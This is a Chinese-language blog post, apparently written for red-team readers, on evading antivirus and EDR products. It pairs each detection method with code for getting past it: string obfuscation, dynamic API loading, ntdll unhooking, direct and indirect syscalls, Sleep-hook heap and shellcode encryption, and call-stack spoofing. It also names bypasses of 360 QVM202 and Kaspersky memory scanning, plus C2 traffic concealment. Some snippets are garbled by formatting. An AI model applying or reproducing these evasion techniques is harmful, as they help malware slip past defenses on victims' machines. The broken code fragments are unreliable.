原创 鬼屋女鬼 2023-11-07 16:03 江苏
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- 基于签名的检测:文件hash、特征码、文件名、图标
- 启发式查杀:导入导出表、API调用链
- 文件熵分析:文件中字节的熵
- 元数据分析:编译器、时间戳、数字签名
- PE节表:PE文件中异常节
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机器学习:例如常见的QVM HEUR 202
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加密/压缩:使用自实现加密算法
- 常规方法:
- XOR
- Base64
- AES
- RC4
- 针对shellcode的检测
- 代码混淆:混淆源代码(llvm+pass、ollvm)
- 控制流平坦化
- 虚假控制流
- 指定替换
- Pass插件
- LLVM 混淆
- OLLVM 混淆
- 字符串加密:避免基于字符串的检测
- 利用C++模板:constexpr 编译时间字符串加密 示例代码:
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动态加载windows api:隐藏导入表 使用 GetProcAddress() GetModuleHandle() 动态获取windows API,隐藏导入表 示例代码:
template<size_t size>constexpr auto obfuscate(const char plaintext[size])``{MetaString<size> obfuscated;`for (size_t i = 0; i < size - 1; i++)` `obfuscated.buff[i] = plaintext[i] ^ key[i % sizeof(key)];` `obfuscated.buff[size - 1] = 0;` `return obfuscated;` `}`
效果如下:
typedef int(WINAPI* pMessageBoxW)( HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType );
int main()``{ pMessageBoxW MyMessageBox = (pMessageBoxW)GetProcAddress(GetModuleHandle(L"USER32.dll"), "MessageBoxA"); 0, 0, 0); return 0;``}
- 降低文件熵
- shellcode 转 English words
- MAC、IPV4、IPV6、UUID编码
- 分离加载(远程拉取或突破隐写)
- 添加大资源文件
- 加壳:自写壳、商业壳
- UPX
- VMProtect
- Shielden
- Themida
- ASPack
- Enigma Protector
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模拟正常文件:签名、文件名、图标、属性信息、资源 给Exe或Dll添加签名、图标、版本属性信息、图片、对话框等资源文件,使文件看起来更加合法,以规避启发式查杀 以360为例,常规我们编译出来的文件经常爆QVM202,但是当我们添加资源文件后,我们即可绕过QVM202
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动态生成
- 动态生成加密key
- 动态编译生成文件
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......
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Sandbox:沙箱运行观察判断行为是否恶意
- 子进程/线程创建:例如监控Cmd.exe、Powershell.exe
- 敏感高危操作:修改注册表、添加用户、添加系统服务、添加计划任务、提权、获取凭证、截图等等….
- 敏感目录读写:注册表、自启动目录
- 进程链检测:监控父子进程间关系判断是否异常,例如word.exe—powershell.exe
- 代码注入检测:例如远程线程注入、DLL注入等等
- 网络通信:监控网络流量,分析可能的C2流量
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API调用:Hook 常见 Windows API
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Anti sandbox:反沙箱
- 使用质数运算延迟执行
- 检测系统开机时间是否大于某个设定值
- 检测物理内存是否大于4G
- 检测CPU核心数是否大于4
- 检测文件名是否修改
- 检测磁盘大小是否大于100G
- 判断是否有参数代入
- Anti VM:反虚拟机
- 检测进程名
- 检测注册表
- 检测磁盘中文件 如图:
- Unhook:从磁盘加载ntdll
通过读取磁盘上ntdll.dll的.text节,覆盖内存当中的ntdll.dll的.text节,达到脱钩的效果
示例代码:
HANDLE process = GetCurrentProcess(); MODULEINFO mi = {}; HMODULE ntdllModule = GetModuleHandleA("ntdll.dll"); GetModuleInformation(process, ntdllModule, &mi, sizeof(mi)); LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll; HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL); LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);
PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase; PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);
for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) { PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i)); if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) { DWORD oldProtection = 0; bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection); memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize); isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection); } } CloseHandle(process); CloseHandle(ntdllFile); CloseHandle(ntdllMapping); FreeLibrary(ntdllModule); return 0;
Syscall:Direct syscall、Indirect syscall
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Direct syscall 示例代码:
NtAllocateVirtualMemory PROCmov r10, rcxmov eax, wNtAllocateVirtualMemorysyscallretNtAllocateVirtualMemory ENDP
UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");``wNtAllocateVirtualMemory = ((unsigned char*)(pNtAllocateVirtualMemory + 4))[0]; -
Indirect syscall 示例代码:
NtWriteVirtualMemory PROC mov r10, rcx mov eax, wNtWriteVirtualMemory jmp QWORD PTR [sysAddrNtWriteVirtualMemory]``NtWriteVirtualMemory ENDP
UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
wNtAllocateVirtualMemory = ((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];``sysAddrNtAllocateVirtualMemory = pNtAllocateVirtualMemory + 0x12;
PE in Memory:内存加载
- 利用 Inline-Execute-PE 在内存中加载运行PE文件
- 利用 BOF.NET 在内存中执行.NET程序集文件
进程断链:断掉父子进程链
- 利用模拟运行断链
- 利用WMIC断链
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利用Com断链
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内存扫描:扫描内存查找注入的恶意代码,并检测进程内存空间中的可疑API调用
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检测项:进程信息、shellcode特征、堆栈、内存映像
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睡眠混淆:hook sleep函数,实现内存加密和解密
Heap Encryption
通过Hook Sleep函数,睡眠期间加密堆内存规避内存扫描:
void WINAPI HookedSleep(DWORD dwMiliseconds) { DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId()); HeapEncryptDecrypt();
`OldSleep(dwMiliseconds);`
`HeapEncryptDecrypt();` `DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId());``}`
关键部分代码,加密堆内存:
static PROCESS_HEAP_ENTRY entry;``VOID HeapEncryptDecrypt() { SecureZeroMemory(&entry, sizeof(entry)); while (HeapWalk(currentHeap, &entry)) { if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) { XORFunction(key, keySize, (char*)(entry.lpData), entry.cbData); } }``}
- ShellcodeFluctuation
- Hook Sleep 函数
- 定位内存中的shellcode
- 睡眠期间翻转为RW
- 睡眠结束翻转为RX
- 无限循环,以此规避内存扫描
关键部分代码:
XOR加密:
void xor32(uint8_t* buf, size_t bufSize, uint32_t xorKey)``{ uint32_t* buf32 = reinterpret_cast<uint32_t*>(buf);
`auto bufSizeRounded = (bufSize - (bufSize % sizeof(uint32_t))) / 4;` `for (size_t i = 0; i < bufSizeRounded; i++)` `{` `buf32[i] ^= xorKey;` `}`
`for (size_t i = 4 * bufSizeRounded; i < bufSize; i++)` `{` `buf[i] ^= static_cast<uint8_t>(xorKey & 0xff);` `}``}`
定位内存中的shellcode地址:
bool isShellcodeThread(LPVOID address)``{ MEMORY_BASIC_INFORMATION mbi = { 0 }; if (VirtualQuery(address, &mbi, sizeof(mbi))) { // // To verify whether address belongs to the shellcode's allocation, we can simply // query for its type. MEM_PRIVATE is an indicator of dynamic allocations such as VirtualAlloc. // if (mbi.Type == MEM_PRIVATE) { const DWORD expectedProtection = (g_fluctuate == FluctuateToRW) ? PAGE_READWRITE : PAGE_NOACCESS;
`return ((mbi.Protect & PAGE_EXECUTE_READ)` `|| (mbi.Protect & PAGE_EXECUTE_READWRITE)` `|| (mbi.Protect & expectedProtection));` `}` `}`
`return false;``}`
加密和解密shellcode:
void shellcodeEncryptDecrypt(LPVOID callerAddress)``{ if ((g_fluctuate != NoFluctuation) && g_fluctuationData.shellcodeAddr != nullptr && g_fluctuationData.shellcodeSize > 0) { if (!isShellcodeThread(callerAddress)) return;
`DWORD oldProt = 0;`
`if (!g_fluctuationData.currentlyEncrypted` `|| (g_fluctuationData.currentlyEncrypted && g_fluctuate == FluctuateToNA))` `{` `::VirtualProtect(` `g_fluctuationData.shellcodeAddr,` `g_fluctuationData.shellcodeSize,` `PAGE_READWRITE,` `&g_fluctuationData.protect` `);`
`log("[>] Flipped to RW.");` `}` `log((g_fluctuationData.currentlyEncrypted) ? "[<] Decoding..." : "[>] Encoding...");`
`xor32(` `reinterpret_cast<uint8_t*>(g_fluctuationData.shellcodeAddr),` `g_fluctuationData.shellcodeSize,` `g_fluctuationData.encodeKey` `);`
`if (!g_fluctuationData.currentlyEncrypted && g_fluctuate == FluctuateToNA)` `{` `//` `// Here we're utilising ORCA666's idea to mark the shellcode as PAGE_NOACCESS instead of PAGE_READWRITE` `// and our previously set up vectored exception handler should catch invalid memory access, flip back memory` `// protections and resume the execution.` `//` `// Be sure to check out ORCA666's original implementation here:` `//` [https://github.com/ORCA666/0x41/blob/main/0x41/HookingLoader.hpp#L285](https://github.com/ORCA666/0x41/blob/main/0x41/HookingLoader.hpp#L285) `//`
`::VirtualProtect(` `g_fluctuationData.shellcodeAddr,` `g_fluctuationData.shellcodeSize,` `PAGE_NOACCESS,` `&oldProt` `);`
`log("[>] Flipped to No Access.\n");` `}` `else if (g_fluctuationData.currentlyEncrypted)` `{` `::VirtualProtect(` `g_fluctuationData.shellcodeAddr,` `g_fluctuationData.shellcodeSize,` `g_fluctuationData.protect,` `&oldProt` `);`
`log("[<] Flipped back to RX/RWX.\n");` `}`
`g_fluctuationData.currentlyEncrypted = !g_fluctuationData.currentlyEncrypted;` `}``}`
效果:
Bypass Kasperskey Memory Scanner:
线程堆栈欺骗:欺骗线程堆栈返回地址
默认情况下,线程的返回地址指向我们驻留在内存中的shellcode,通过检查可疑进程中线程的返回地址,可以轻松识别到内存中的shellcode
最简单的方法,直接用0覆盖返回地址,从而截断堆栈
关键代码
void WINAPI MySleep(DWORD _dwMilliseconds)``{ const register DWORD dwMilliseconds = _dwMilliseconds;
`// Perform this (current) thread call stack spoofing.` `PULONG_PTR overwrite = (PULONG_PTR)_AddressOfReturnAddress();` `const register ULONG_PTR origReturnAddress = *overwrite;`
`log("[>] Original return address: 0x", std::hex, std::setw(8), std::setfill('0'), origReturnAddress, ". Finishing call stack...");` `*overwrite = 0;`
`log("\n===> MySleep(", std::dec, dwMilliseconds, ")\n");`
`// Perform sleep emulating originally hooked functionality.` `::SleepEx(dwMilliseconds, false);`
`// Restore original thread's call stack.` `log("[<] Restoring original return address...");` `*overwrite = origReturnAddress;``}`
效果对比:
默认线程调用堆栈:
欺骗后的线程调用堆栈:
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总结: 堆栈欺骗+内存加密配合使用实战效果极佳,参考Cobalt Strike 4.7的SleepMask
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威胁情报:IP、域名
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流量特征:固定通信流量特征
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使用HTTPS
- 云函数
- 域前置
- 更改C2、webshell等工具通信流量
抛出沙龙上,交流提出的两个问题。
- 以后杀软的发展趋势会着重在哪些地方?
- 以后对抗难点会在哪些地方?
逃逸技术是和反病毒技术的长期对抗。欢迎各位师傅和笔者沟通交流!
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